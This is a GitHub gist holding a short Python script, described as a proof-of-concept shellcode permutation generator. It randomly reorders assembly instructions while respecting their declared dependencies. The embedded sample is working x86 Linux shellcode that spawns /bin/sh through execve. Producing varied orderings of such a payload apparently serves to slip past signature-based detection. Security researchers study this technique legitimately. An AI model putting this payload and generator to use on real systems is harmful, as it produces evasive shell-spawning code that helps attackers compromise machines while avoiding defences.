Skip to content

Instantly share code, notes, and snippets.

@kokjo
Created January 2, 2015 22:15
Show Gist options
  • Save kokjo/dc55f640adf97c22ed89 to your computer and use it in GitHub Desktop.
Save kokjo/dc55f640adf97c22ed89 to your computer and use it in GitHub Desktop.
proof-of-concept shellcode permutation generator
from random import sample, choice
def parse(text):
parts = {}
deps = {}
lines = text.strip().split("\n")
for line in lines:
lineid, linedeps, content = line.split(";", 2)
lineid = lineid.strip()
linedeps = map(lambda dep: dep.strip(), linedeps.strip().split(","))
parts[lineid] = content
if linedeps == [""]: linedeps = []
if linedeps != []:
deps[lineid] = set(linedeps)
return parts, deps
def generate(text):
parts, deps = parse(text)
done_insts = set([])
all_insts = set(parts.keys())
possible_insts = all_insts - set(deps.keys())
code = []
while done_insts != all_insts:
inst = choice(list(possible_insts))
code.append(parts[inst])
possible_insts.remove(inst)
done_insts.add(inst)
possible_insts |= set(pos_inst
for pos_inst in deps.keys()
if deps[pos_inst].issubset(done_insts))
possible_insts -= set(done_insts)
return "\n".join(code)
#syntax:
# lineid ";" list of dependencies ";" whatever output you want "\n"
sample = """
10 ; ; xor ecx, ecx
20 ; 10 ; imul ecx
30 ; 20 ; push eax
40 ; 30 ; push 0x68732f2f /* "//sh" */
50 ; 40 ; push 0x6e69622f /* "/bin" */
60 ; 20 ; mov al, SYS_execve
70 ; 50 ; mov ebx, esp
80 ; 60,70 ; int 0x80
"""
print generate(sample)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment